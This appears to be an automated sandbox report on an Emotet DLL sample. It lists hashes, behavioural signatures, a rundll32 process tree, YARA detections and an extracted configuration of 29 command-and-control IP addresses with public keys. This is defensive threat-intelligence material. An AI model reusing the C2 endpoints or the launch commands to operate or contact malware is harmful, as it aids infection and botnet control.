Play interactive tour

Edit tour

Windows Analysis Report mal2.dll

Overview

General Information

Sample Name:	mal2.dll
Analysis ID:	532100
MD5:	9efbd03d5576686dd9f0678c09abe9fc
SHA1:	0b821e78137018bbf3f9c67d3b049e33d5b36ae5
SHA256:	972f9350219dcc2df463f923ec5b559f4ab69f083da9ccbd0976c51bc19f3f5b
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Emotet

Changes security center settings (notifications, updates, antivirus, firewall)

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Abnormal high CPU Usage

AV process strings found (often used to terminate AV products)

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Connects to several IPs in different countries

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 1456 cmdline: loaddll32.exe "C:\Users\user\Desktop\mal2.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 4892 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal2.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 4652 cmdline: rundll32.exe "C:\Users\user\Desktop\mal2.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6928 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 3868 cmdline: rundll32.exe C:\Users\user\Desktop\mal2.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6956 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xjvbeeymcqp\hqokwlnubzbb.uql",vvWvMRmVQ MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6176 cmdline: rundll32.exe C:\Users\user\Desktop\mal2.dll,axamexdrqyrgb MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7028 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6220 cmdline: rundll32.exe C:\Users\user\Desktop\mal2.dll,bhramccfbdd MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7124 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 5064 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 304 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 4320 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 312 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 5888 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6240 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6364 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6464 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 6704 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 6752 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 7116 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 7132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 7140 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 5544 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1456 -ip 1456 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 4568 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 1456 -ip 1456 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.566657802.00000000007A0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.567231949.0000000000D2C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.597839039.00000000007A0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.596491370.00000000007A0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.564537877.000000000076A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.564875818.000000000328A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.568652514.00000000007A0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.643009162.0000000000D2C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.596841009.0000000000D2C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000003.526115475.0000000003368000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.564451857.0000000000650000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.598456484.0000000000D2C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.543502348.0000000000BA0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.568840979.0000000000D2C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.564446850.0000000000DA0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.543542843.0000000000CFA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.loaddll32.exe.d33b80.10.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.ba0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7a0000.9.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7a0000.9.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.d33b80.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.1060000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.7a0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.d33b80.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7a0000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.d33b80.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7a0000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.da0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.1060000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.650000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.782138.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.650000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7a0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.d33b80.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.782138.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.da0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.7a0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.d33b80.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.d33b80.7.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7a0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.32a2138.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7a0000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.d33b80.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7a0000.3.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.32a2138.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.d13d58.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.ba0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.d33b80.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.d33b80.10.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.d13d58.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 29 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0.0.loaddll32.exe.d33b80.10.raw.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Multi AV Scanner detection for submitted file

Show sources

Source: mal2.dll

ReversingLabs: Detection: 24%

Source: mal2.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: mal2.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000016.00000003.573738619.0000000000F47000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.581262316.0000000000917000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.603106130.0000000000B7D000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.602476954.0000000000B7D000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 00000019.00000003.602237788.0000000000BBB000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000016.00000002.593818088.00000000003D2000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000019.00000003.603106130.0000000000B7D000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.602476954.0000000000B7D000.00000004.00000001.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC2FE7 FindFirstFileExW,		0_2_6EDC2FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC2FE7 FindFirstFileExW,		2_2_6EDC2FE7

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 46.55.222.11:443
Source: Malware configuration extractor	IPs: 104.245.52.73:8080
Source: Malware configuration extractor	IPs: 41.76.108.46:8080
Source: Malware configuration extractor	IPs: 103.8.26.103:8080
Source: Malware configuration extractor	IPs: 185.184.25.237:8080
Source: Malware configuration extractor	IPs: 103.8.26.102:8080
Source: Malware configuration extractor	IPs: 203.114.109.124:443
Source: Malware configuration extractor	IPs: 45.118.115.99:8080
Source: Malware configuration extractor	IPs: 178.79.147.66:8080
Source: Malware configuration extractor	IPs: 58.227.42.236:80
Source: Malware configuration extractor	IPs: 45.118.135.203:7080
Source: Malware configuration extractor	IPs: 103.75.201.2:443
Source: Malware configuration extractor	IPs: 195.154.133.20:443
Source: Malware configuration extractor	IPs: 45.142.114.231:8080
Source: Malware configuration extractor	IPs: 212.237.5.209:443
Source: Malware configuration extractor	IPs: 207.38.84.195:8080
Source: Malware configuration extractor	IPs: 104.251.214.46:8080
Source: Malware configuration extractor	IPs: 212.237.17.99:8080
Source: Malware configuration extractor	IPs: 212.237.56.116:7080
Source: Malware configuration extractor	IPs: 216.158.226.206:443
Source: Malware configuration extractor	IPs: 110.232.117.186:8080
Source: Malware configuration extractor	IPs: 158.69.222.101:443
Source: Malware configuration extractor	IPs: 107.182.225.142:8080
Source: Malware configuration extractor	IPs: 176.104.106.96:8080
Source: Malware configuration extractor	IPs: 81.0.236.90:443
Source: Malware configuration extractor	IPs: 50.116.54.215:443
Source: Malware configuration extractor	IPs: 138.185.72.26:8080
Source: Malware configuration extractor	IPs: 51.68.175.8:8080
Source: Malware configuration extractor	IPs: 210.57.217.132:8080

Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR
Source: Joe Sandbox View	ASN Name: ARUBA-ASNIT ARUBA-ASNIT

Source: Joe Sandbox View	IP Address: 195.154.133.20 195.154.133.20
Source: Joe Sandbox View	IP Address: 212.237.17.99 212.237.17.99

Source: unknown

Network traffic detected: IP country count 19

Source: svchost.exe, 00000004.00000002.567333158.0000028217E61000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000002.640708267.0000000001128000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.639198752.0000000001128000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000004.00000002.567003860.0000028217E12000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000004.00000002.566413205.00000282128AF000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/enumeration/Enumerate
Source: Amcache.hve.22.dr	String found in binary or memory: http://upx.sf.net
Source: svchost.exe, 0000000A.00000002.388912529.0000020B26E13000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com/
Source: svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387943285.0000020B26E4D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000A.00000002.388951772.0000020B26E44000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388012695.0000020B26E43000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000A.00000002.388951772.0000020B26E44000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388012695.0000020B26E43000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000A.00000003.387900433.0000020B26E69000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.388989382.0000020B26E6B000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000A.00000002.388951772.0000020B26E44000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388012695.0000020B26E43000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000A.00000003.387936814.0000020B26E60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000A.00000002.388958286.0000020B26E4A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387957781.0000020B26E49000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000A.00000003.387943285.0000020B26E4D000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000A.00000002.388958286.0000020B26E4A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387957781.0000020B26E49000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000A.00000002.388958286.0000020B26E4A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387957781.0000020B26E49000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000A.00000002.388983797.0000020B26E66000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000A.00000002.388951772.0000020B26E44000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388012695.0000020B26E43000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000A.00000002.388943903.0000020B26E41000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000A.00000003.338514593.0000020B26E35000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000A.00000003.338514593.0000020B26E35000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000A.00000003.338514593.0000020B26E35000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000A.00000003.338514593.0000020B26E35000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388024416.0000020B26E3E000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000A.00000003.387943285.0000020B26E4D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.388970566.0000020B26E56000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388048361.0000020B26E50000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.ba0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1060000.0.unpack, type: UNPACKEDPE
